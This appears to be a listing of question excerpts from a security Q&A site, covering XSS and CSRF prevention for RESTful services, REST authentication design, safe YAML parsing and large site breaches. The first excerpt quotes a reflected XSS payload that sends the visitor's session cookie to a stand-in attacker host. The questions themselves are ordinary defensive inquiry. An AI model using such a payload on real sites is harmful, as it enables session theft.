1
vote
2answers
3k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
4
votes
2answers
655 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
4
votes
1answer
761 views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
8
votes
3answers
581 views

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked?

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked? (i.e. how is their entire dataset of users obtained?) LivingSocial - 50 Million Users Exposed Zappos - 24 Million ...
1
vote
1answer
762 views

iOS auth/auth with a REST Webservice

we're currently in the design phase of a new "Gateway-Server" which we want to develop. Our server has a REST-Service. My task is to find viable options to protect the access to the aforementionend ...
6
votes
2answers
298 views

Safe YAML parser?

I've recently read that YAML was not "designed to handle malicious user input", because a malicious YAML input "can create instances of all classes defined in the targeted Rails application". ...
5
votes
1answer
3k views

Facebook page receiving improbable amount of likes from unknown users

A bit of an odd problem, but I'm not totally sure where to post this. I am an administrator for a facebook page that suddenly began receiving hundreds of likes in the past few days. This trend began ...
0
votes
1answer
359 views

Web Service Security

We are currently designing a Web Service that returns a JSON formatted messages. The following are the planned implementation for the service's security: An SSL Certification to the service for the ...
2
votes
3answers
145 views

Identifying and preventing execution of “any” function via Late-Bound commands

The Command Pattern is widely used to create a robust, salable applications. However I see guidance in this MSDN article that could allow a caller to invoke a late-bound command... enabling the ...
9
votes
3answers
2k views

Any flaws in this security model for a REST web service?

I have designed a REST web service which requires authentication. It handles authentication in a manner similar to Amazon Web Services, namely: the user has an ACCESS_KEY (say, 'abcd') and a ...
1
vote
1answer
127 views

WebServices Security [closed]

Do we have any good resources on WebServices Security? Any book, pdfs, articles and even the detail answers regarding the securing web services would be appreciated.
4
votes
4answers
635 views

Ensuring a web-service only processes requests from specific computers

I'm in the process of designing a system that consists a client application and a single web-service. The client is distributed on several machines (installed by me or a colleague), and the ...
15
votes
1answer
2k views

REST specific security weaknesses

I need to start working with RESTfull Web Services. SOAP based web services have already so many standards to secure communication, establish trust etc. I am not aware of any for REST. What I would ...